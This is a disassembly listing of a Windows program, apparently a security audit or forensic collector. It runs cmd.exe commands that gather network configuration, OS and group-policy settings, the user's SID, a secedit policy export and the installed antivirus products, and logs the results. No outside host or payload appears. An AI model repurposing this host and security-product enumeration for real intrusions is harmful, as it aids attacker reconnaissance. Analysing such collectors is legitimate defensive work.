mov edx, dword [ebp - 0x352c]
mov eax, edx
mov ecx, dword [ebp - 0x3530]
sub eax, ecx
push 0x30
push str.__Info__ThreatSonar_02_25__Disable____record.log
cmp eax, 0x30
jb 0x40e299
cmp edx, 0x10
lea esi, [ebp - 0x3540]
lea eax, [ecx + 0x30]
cmovae esi, dword [ebp - 0x3540]
add esi, ecx
mov dword [ebp - 0x3530], eax
push esi
call fcn.00457730
add esp, 0xc
mov byte [esi + 0x30], 0
lea eax, [ebp - 0x3540]
jmp 0x40e2b3
mov byte [ebp - 0x34f4], 0
lea ecx, [ebp - 0x3540]
push dword [ebp - 0x34f4]
push 0x30
call fcn.00415430
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3510], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3500], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1c
mov edx, dword [ebp - 0x352c]
cmp edx, 0x10
jb 0x40e319
mov ecx, dword [ebp - 0x3540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e30f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118ac
push edx
push ecx
call fcn.004560c7
add esp, 8
lea eax, [ebp - 0x3510]
mov dword [ebp - 0x3530], 0
push eax
lea ecx, [ebp - 0x3528]
mov dword [ebp - 0x352c], 0xf
mov byte [ebp - 0x3540], 0
call fcn.00413530
cmp dword [ebp - 0x3514], 0x10
lea eax, [ebp - 0x3528]
cmovae eax, dword [ebp - 0x3528]
push eax
lea eax, [ebp - 0x158]
push 0x100
push eax
call fcn.0045cd67
add esp, 0xc
lea ecx, [ebp - 0x158]
call fcn.00402330
mov edx, dword [ebp - 0x3514]
cmp edx, 0x10
jb 0x40e3b4
mov ecx, dword [ebp - 0x3528]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e3aa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118b1
push edx
push ecx
call fcn.004560c7
add esp, 8
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x34fc]
cmp edx, 0x10
jb 0x40e12f
mov ecx, dword [ebp - 0x3510]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e125
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118b6
jmp 0x40e125
cmp dword [0x49eb00], 0x10
mov eax, 0x49eaec
push ecx
cmovae eax, dword [0x49eaec]
push eax
push 8
push 0x494e24
push ecx
push dword [ebp - 0x37b8]
lea ecx, [ebp - 0x3540]
call fcn.00415990
mov byte [ebp - 4], 0x1d
mov edx, dword [ebp - 0x352c]
mov eax, edx
mov ecx, dword [ebp - 0x3530]
sub eax, ecx
push 0x29
push str.__Info__Machine_Info_03_25_____record.log
cmp eax, 0x29
jb 0x40e473
cmp edx, 0x10
lea esi, [ebp - 0x3540]
lea eax, [ecx + 0x29]
cmovae esi, dword [ebp - 0x3540]
add esi, ecx
mov dword [ebp - 0x3530], eax
push esi
call fcn.00457730
add esp, 0xc
mov byte [esi + 0x29], 0
lea eax, [ebp - 0x3540]
jmp 0x40e48d
mov byte [ebp - 0x34f4], 0
lea ecx, [ebp - 0x3540]
push dword [ebp - 0x34f4]
push 0x29
call fcn.00415430
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3708], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x36f8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x1f
mov edx, dword [ebp - 0x352c]
cmp edx, 0x10
jb 0x40e4f3
mov ecx, dword [ebp - 0x3540]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e4e9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118bb
push edx
push ecx
call fcn.004560c7
add esp, 8
lea eax, [ebp - 0x3708]
mov dword [ebp - 0x3530], 0
push eax
lea ecx, [ebp - 0x3528]
mov dword [ebp - 0x352c], 0xf
mov byte [ebp - 0x3540], 0
call fcn.00413530
cmp dword [ebp - 0x3514], 0x10
lea eax, [ebp - 0x3528]
cmovae eax, dword [ebp - 0x3528]
push eax
lea eax, [ebp - 0x158]
push 0x100
push eax
call fcn.0045cd67
add esp, 0xc
lea ecx, [ebp - 0x158]
call fcn.00402330
mov edx, dword [ebp - 0x3514]
cmp edx, 0x10
jb 0x40e58e
mov ecx, dword [ebp - 0x3528]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e584
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118c0
push edx
push ecx
call fcn.004560c7
add esp, 8
mov ecx, str._a__c_chcp_65001___SystemRoot_System32ipconfig__all__findstr__i_IPv4___IP.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion___v_ProductName___OS.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion___v_CurrentBuildNumber____OS.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREMicrosoftWindows_NTCurrentVersion___v_ReleaseId____OS.log
call fcn.00402330
cmp byte [0x4a022c], 0
je 0x40e5c9
mov ecx, str._a__c_chcp_65001__secedit.exe__export__cfg_GPO.log
call fcn.00402330
mov ecx, str._c_reg_query__HKLMSystemCurrentControlSetControlLsa___v_RestrictAnonymous___GPOSec.log
call fcn.00402330
mov ecx, str._c_reg_query__HKLMSystemCurrentControlSetServicesLanmanWorkstationParameters___v_EnablePlainTextPassword____GPOSec.log
call fcn.00402330
mov ecx, str._c_reg_query__HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer___v_NoDriveTypeAutoRun____GPOSec.log
call fcn.00402330
mov ecx, str._c_reg_query__HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer___v_NoAutorun____GPOSec.log
call fcn.00402330
mov ecx, str._c_reg_query__HKLMSoftwarePoliciesMicrosoftWindowsEventLogSecurity_____GPOSec.log
call fcn.00402330
mov ecx, str._c_reg_query__HKLMSoftwarePoliciesMicrosoftWindowsEventLogSetup_____GPOSec.log
call fcn.00402330
mov ecx, str._c_reg_query__HKLMSoftwarePoliciesMicrosoftWindowsEventLogSystem_____GPOSec.log
call fcn.00402330
mov ecx, str._c_reg_query__HKLMSoftwareMicrosoftWindows_NTCurrentVersionWinlogon___v_PasswordExpiryWarning____GPOSec.log
call fcn.00402330
mov ecx, str._c_reg_query__HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v_disablecad____GPOSec.log
call fcn.00402330
mov ecx, str._c_reg_query__HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem___v_dontdisplaylastusername____GPOSec.log
call fcn.00402330
mov ecx, str._c_systeminfo___Systeminfo.log
call fcn.00402330
push 0
call fcn.0045d2e7
add esp, 4
mov dword [ebp - 0x34f8], eax
lea eax, [ebp - 0x34f8]
mov dword [ebp - 0x34f4], edx
push eax
lea eax, [ebp - 0x360c]
push eax
call fcn.0045abfd
lea eax, [ebp - 0x360c]
push eax
push str._F__X
lea eax, [ebp - 0x38]
push 0x64
push eax
call fcn.0045b33a
lea ecx, [ebp - 0x38]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e680
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, 0x49eaec
call fcn.004141b0
lea eax, [ebp - 0x36a8]
push eax
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov ecx, dword [0x49eafc]
sub edi, ecx
test eax, eax
je 0x40ec6b
cmp edi, 8
jb 0x4118c5
cmp dword [0x49eb00], 0x10
mov eax, 0x49eaec
push ecx
cmovae eax, dword [0x49eaec]
push eax
push 8
push 0x494e24
push ecx
push dword [ebp - 0x37b8]
lea ecx, [ebp - 0x3558]
call fcn.00415990
mov byte [ebp - 4], 0x20
mov edx, dword [ebp - 0x3544]
mov eax, edx
mov ecx, dword [ebp - 0x3548]
sub eax, ecx
push 0x2d
push str.__Info__User_Login_Successfully____record.log
cmp eax, 0x2d
jb 0x40e743
cmp edx, 0x10
lea esi, [ebp - 0x3558]
lea eax, [ecx + 0x2d]
cmovae esi, dword [ebp - 0x3558]
add esi, ecx
mov dword [ebp - 0x3548], eax
push esi
call fcn.00457730
add esp, 0xc
mov byte [esi + 0x2d], 0
lea eax, [ebp - 0x3558]
jmp 0x40e75d
mov byte [ebp - 0x34f4], 0
lea ecx, [ebp - 0x3558]
push dword [ebp - 0x34f4]
push 0x2d
call fcn.00415430
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3510], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3500], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x22
mov edx, dword [ebp - 0x3544]
cmp edx, 0x10
jb 0x40e7c3
mov ecx, dword [ebp - 0x3558]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e7b9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118ca
push edx
push ecx
call fcn.004560c7
add esp, 8
lea eax, [ebp - 0x3510]
mov dword [ebp - 0x3548], 0
push eax
lea ecx, [ebp - 0x3528]
mov dword [ebp - 0x3544], 0xf
mov byte [ebp - 0x3558], 0
call fcn.00413530
cmp dword [ebp - 0x3514], 0x10
lea eax, [ebp - 0x3528]
cmovae eax, dword [ebp - 0x3528]
push eax
lea eax, [ebp - 0x158]
push 0x100
push eax
call fcn.0045cd67
add esp, 0xc
lea ecx, [ebp - 0x158]
call fcn.00402330
mov edx, dword [ebp - 0x3514]
cmp edx, 0x10
jb 0x40e85e
mov ecx, dword [ebp - 0x3528]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40e854
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118cf
push edx
push ecx
call fcn.004560c7
add esp, 8
xor eax, eax
mov dword [ebp - 0x35b8], 0
mov dword [ebp - 0x35a8], 0
mov dword [ebp - 0x35a4], 7
mov word [ebp - 0x35b8], ax
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x420]
mov dword [ebp - 0x3558], eax
lea edx, [ecx + 2]
mov dword [ebp - 0x3548], eax
mov dword [ebp - 0x3544], 7
mov word [ebp - 0x3558], ax
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40e8b0
sub ecx, edx
lea eax, [ebp - 0x420]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x3558]
call fcn.00413ee0
mov byte [ebp - 4], 0x24
mov ecx, 0x49eaec
cmp dword [0x49eb00], 0x10
mov eax, dword [0x49eafc]
jb 0x40e8f3
mov ecx, dword [0x49eaec]
add eax, ecx
jmp 0x40e8fa
add eax, ecx
mov ecx, 0x49eaec
push eax
push ecx
lea ecx, [ebp - 0x35b8]
call fcn.00414b80
push eax
mov edx, str._c_echo
lea ecx, [ebp - 0x3570]
call fcn.00414d00
add esp, 4
push str.__Info__User_:
mov edx, eax
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x35a0]
call fcn.00414e40
add esp, 4
lea ecx, [ebp - 0x3558]
mov byte [ebp - 4], 0x26
push ecx
push eax
push dword [ebp - 0x37b8]
lea ecx, [ebp - 0x3528]
call fcn.004155a0
push str.____record.log
lea edx, [ebp - 0x3528]
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x3588]
call fcn.00414e40
mov byte [ebp - 4], 0x26
add esp, 4
mov edx, dword [ebp - 0x3514]
cmp edx, 8
jb 0x40e9b2
mov ecx, dword [ebp - 0x3528]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40e9a8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118d4
push edx
push ecx
call fcn.004560c7
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x25
mov edx, dword [ebp - 0x358c]
mov dword [ebp - 0x3518], 0
mov dword [ebp - 0x3514], 7
mov word [ebp - 0x3528], ax
cmp edx, 8
jb 0x40ea13
mov ecx, dword [ebp - 0x35a0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ea09
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118d4
push edx
push ecx
call fcn.004560c7
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x24
mov edx, dword [ebp - 0x355c]
mov dword [ebp - 0x3590], 0
mov dword [ebp - 0x358c], 7
mov word [ebp - 0x35a0], ax
cmp edx, 8
jb 0x40ea74
mov ecx, dword [ebp - 0x3570]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ea6a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118d4
push edx
push ecx
call fcn.004560c7
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x23
mov edx, dword [ebp - 0x3544]
mov dword [ebp - 0x3560], 0
mov dword [ebp - 0x355c], 7
mov word [ebp - 0x3570], ax
cmp edx, 8
jb 0x40ead5
mov ecx, dword [ebp - 0x3558]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40eacb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118d4
push edx
push ecx
call fcn.004560c7
add esp, 8
cmp dword [ebp - 0x3574], 8
lea eax, [ebp - 0x3588]
cmovae eax, dword [ebp - 0x3588]
push eax
lea eax, [ebp - 0x620]
push 0x80
push eax
call fcn.0045b359
add esp, 0xc
mov dword [ebp - 0x54], 0x3c
lea eax, [ebp - 0x620]
mov dword [ebp - 0x50], 0x40
xorps xmm0, xmm0
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x54]
movlpd qword [ebp - 0x30], xmm0
push eax
movlpd qword [ebp - 0x28], xmm0
movlpd qword [ebp - 0x20], xmm0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], str.OPEN
mov dword [ebp - 0x44], str.cmd.exe
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 0x3574]
cmp edx, 8
jb 0x40eba6
mov ecx, dword [ebp - 0x3588]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40eb9c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118d9
push edx
push ecx
call fcn.004560c7
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x22
mov edx, dword [ebp - 0x35a4]
mov dword [ebp - 0x3578], 0
mov dword [ebp - 0x3574], 7
mov word [ebp - 0x3588], ax
cmp edx, 8
jb 0x40ec07
mov ecx, dword [ebp - 0x35b8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ebfd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118d9
push edx
push ecx
call fcn.004560c7
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x1f
mov edx, dword [ebp - 0x34fc]
mov dword [ebp - 0x35a8], 0
mov dword [ebp - 0x35a4], 7
mov word [ebp - 0x35b8], ax
cmp edx, 0x10
jb 0x40ed6b
mov ecx, dword [ebp - 0x3510]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40ec5c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4118d9
push edx
push ecx
call fcn.004560c7
add esp, 8
jmp 0x40ed6b
cmp edi, 8
jb 0x4118de
cmp dword [0x49eb00], 0x10
mov eax, 0x49eaec
push ecx
cmovae eax, dword [0x49eaec]
push eax
push 8
push 0x494e24
push ecx
push dword [ebp - 0x37b8]
lea ecx, [ebp - 0x3588]
call fcn.00415990
mov byte [ebp - 4], 0x28
mov edx, dword [ebp - 0x3574]
mov eax, edx
mov ecx, dword [ebp - 0x3578]
sub eax, ecx
push 0x2a
push str.__Info___Warn__No_User_Login____record.log
cmp eax, 0x2a
jb 0x40ecf2
cmp edx, 0x10
lea esi, [ebp - 0x3588]
lea eax, [ecx + 0x2a]
cmovae esi, dword [ebp - 0x3588]
add esi, ecx
mov dword [ebp - 0x3578], eax
push esi
call fcn.00457730
add esp, 0xc
mov byte [esi + 0x2a], 0
lea eax, [ebp - 0x3588]
jmp 0x40ed0c
mov byte [ebp - 0x34f4], 0
lea ecx, [ebp - 0x3588]
push dword [ebp - 0x34f4]
push 0x2a
call fcn.00415430
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x3510], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x3500], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea ecx, [ebp - 0x3588]
mov byte [ebp - 4], 0x2a
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x3510]
call fcn.00413400
lea edx, [ebp - 0x420]
lea ecx, [ebp - 0x218]
call fcn.00414fd0
call fcn.004024b0
lea eax, [ebp - 0x370c]
push eax
lea eax, [ebp - 0x36a0]
push eax
push dword [ebp - 0x3874]
lea eax, [ebp - 0x36a4]
push eax
lea eax, [ebp - 0x1e20]
push eax
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
jne 0x40ee68
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x366c]
call fcn.00401480
push eax
lea ecx, [ebp - 0x36f0]
call fcn.00413450
lea ecx, [ebp - 0x366c]
call fcn.00413400
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x363c]
call fcn.004148e0
add esp, 4
push str.__Warn_
mov edx, eax
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x36c0]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x36f0]
mov byte [ebp - 4], 0x2c
push ecx
mov edx, eax
lea ecx, [ebp - 0x366c]
call fcn.00414a70
add esp, 4
push str._No_mapping_between_account_names_and_security_IDs_was_done____record.log
mov edx, eax
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x366c]
call fcn.00413400
lea ecx, [ebp - 0x36c0]
call fcn.00413400
mov byte [ebp - 4], 0x31
jmp 0x40ef2d
lea eax, [ebp - 0x37b8]
push eax
lea eax, [ebp - 0x1e20]
push eax
call dword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidW]
test eax, eax
jne 0x40ef65
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [ebp - 0x366c]
call fcn.00401480
push eax
lea ecx, [ebp - 0x36f0]
call fcn.00413450
lea ecx, [ebp - 0x366c]
call fcn.00413400
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x363c]
call fcn.004148e0
add esp, 4
push str.__Warn_
mov edx, eax
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x36c0]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x36f0]
mov byte [ebp - 4], 0x33
push ecx
mov edx, eax
lea ecx, [ebp - 0x366c]
call fcn.00414a70
add esp, 4
push str._The_security_ID_structure_is_invalid____record.log
mov edx, eax
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x3510]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x366c]
call fcn.00413400
lea ecx, [ebp - 0x36c0]
call fcn.00413400
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0x363c]
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x3510]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x3510]
call fcn.00413400
jmp 0x40f182
xor eax, eax
mov dword [ebp - 0x3570], 0
mov dword [ebp - 0x3560], 0
mov dword [ebp - 0x355c], 7
mov word [ebp - 0x3570], ax
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x3510]
push dword [ebp - 0x37b8]
call fcn.00413230
lea eax, [ebp - 0x3874]
mov byte [ebp - 4], 0x3a
push eax
mov ecx, 0x49eaec
call fcn.004133c0
mov esi, eax
mov ecx, 0x49eaec
lea eax, [ebp - 0x34f4]
push eax
call fcn.004133e0
push dword [esi]
lea ecx, [ebp - 0x3570]
push dword [eax]
call fcn.00414b80
push eax
mov edx, str._c_echo
lea ecx, [ebp - 0x363c]
call fcn.00414d00
add esp, 4
push str.__Info__SID_:
mov edx, eax
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x36c0]
call fcn.00414e40
add esp, 4
lea ecx, [ebp - 0x3510]
mov byte [ebp - 4], 0x3c
push ecx
mov edx, eax
lea ecx, [ebp - 0x366c]
call fcn.00414f00
add esp, 4
push str.____record.log
mov edx, eax
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x3588]
call fcn.00414e40
add esp, 4
lea ecx, [ebp - 0x366c]
call fcn.004131d0
lea ecx, [ebp - 0x36c0]
call fcn.004131d0
lea ecx, [ebp - 0x363c]
mov byte [ebp - 4], 0x41
call fcn.004131d0
lea eax, [ebp - 0x3510]
mov edx, str._c_reg_query__HKU_
push eax
lea ecx, [ebp - 0x3654]
call fcn.00414d00
add esp, 4
push str.SoftwarePoliciesMicrosoftWindowsControl_PanelDesktop_____GPOSec.log
mov edx, eax
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x3528]
call fcn.00414e40
add esp, 4
lea ecx, [ebp - 0x3654]
mov byte [ebp - 4], 0x44
call fcn.004131d0
lea eax, [ebp - 0x3510]
mov edx, str._c_reg_query__HKU_
push eax
lea ecx, [ebp - 0x35d0]
call fcn.00414d00
add esp, 4
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesAttachments_____GPOSec.log
mov edx, eax
mov byte [ebp - 4], 0x45
lea ecx, [ebp - 0x35a0]
call fcn.00414e40
add esp, 4
lea ecx, [ebp - 0x35d0]
call fcn.004131d0
lea ecx, [ebp - 0x3588]
call fcn.004131c0
mov edx, eax
lea ecx, [ebp - 0x520]
call fcn.00414fc0
lea ecx, [ebp - 0x3528]
call fcn.004131c0
mov edx, eax
lea ecx, [ebp - 0x1a20]
call fcn.00414fe0
lea ecx, [ebp - 0x35a0]
call fcn.004131c0
mov edx, eax
lea ecx, [ebp - 0x1620]
call fcn.00414fe0
lea ecx, [ebp - 0x520]
call fcn.00402430
lea ecx, [ebp - 0x1a20]
call fcn.00402430
lea ecx, [ebp - 0x1620]
call fcn.00402430
lea ecx, [ebp - 0x35a0]
call fcn.004131d0
lea ecx, [ebp - 0x3528]
call fcn.004131d0
lea ecx, [ebp - 0x3588]
call fcn.004131d0
lea ecx, [ebp - 0x3510]
call fcn.004131d0
lea ecx, [ebp - 0x3570]
mov byte [ebp - 4], 0x1f
call fcn.004131d0
call fcn.004024b0
push 0x49eaec
mov edx, 0x494e24
lea ecx, [ebp - 0x36c0]
call fcn.004148e0
add esp, 4
push str.__Info__Virus_log_04_25_____record.log
mov edx, eax
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x366c]
call fcn.00414940
add esp, 4
lea ecx, [ebp - 0x36c0]
mov byte [ebp - 4], 0x48
call fcn.00413400
sub esp, 0x18
lea eax, [ebp - 0x366c]
mov ecx, esp
push eax
call fcn.00413530
call fcn.00402520
add esp, 0x18
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWARESymantecSymantec_Endpoint_ProtectionCurrentVersion___v_PRODUCTNAME___Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWARESymantecSymantec_Endpoint_ProtectionCurrentVersion___v_PRODUCTVERSION____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWARESymantecSymantec_Endpoint_ProtectionCurrentVersionpublic_opstate___v_LatestVirusDefsDate____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWARESymantecSymantec_Endpoint_ProtectionCurrentVersionpublic_opstate___v_LatestVirusDefsRevision____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWARESymantecSymantec_Endpoint_ProtectionCurrentVersionpublic_opstate___v_LastSuccessfulScanDateTime____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeTrendMicroPC_cillinNTCorpCurrentVersionMisc.___v_ProductName____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeTrendMicroPC_cillinNTCorpCurrentVersionMisc.___v_InternalPatternVer____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeTrendMicroPC_cillinNTCorpCurrentVersionMisc.___v_LastUpdateTime____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeTrendMicroPC_cillinNTCorpCurrentVersionMisc.___v_LastScanTime____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeKasperskyLabprotectedKESenvironment___v_ProductName____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeKasperskyLabprotectedKESenvironment___v_ProductVersion____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeKasperskyLabprotectedKESData__v_LastSuccessfulUpdate_____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeKasperskyLabprotectedKESData__v_LastUpdate_____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeKasperskyLabprotectedKESData__v_LastSuccessfulFullScan_____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREESETESET_SecurityCurrentVersionInfo___v_ProductName____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREESETESET_SecurityCurrentVersionInfo___v_ProductVersion____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREESETESET_SecurityCurrentVersionPlugins01000400Settings___v_LastSuccessfulUpdate____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREESETESET_SecurityCurrentVersionInfo___v_LastUefiScanTime____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREF_SecureUltralightSettingswsc.anti_virus.name___v_value____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREF_SecureUltralight___v_ProductVersion____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREF_SecureUltralightupdates___v_LastUpdateStatus____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001_reg_query__HKLMSOFTWAREF_SecureUltralightSettingsproduct.name___v_value____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREF_SecureUltralightSettingsproduct.oneclient_version___v_value____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREF_SecureUltralightStatisticsengine___s____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREF_SecureUltralightupdates___s____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREMcAfeeAgent___s____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREMcAfeeMSCShortcuts___v_ShortcutName____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREMcAfeeMSC___v_MarketReleaseVer____Antivirus.log
call fcn.00402330
mov ecx, str._a__c_chcp_65001__reg_query__HKLMSOFTWAREWOW6432NodeMcAfeeMSCAppInfoSubstitute___v_date____Antivirus.log
call fcn.00402330
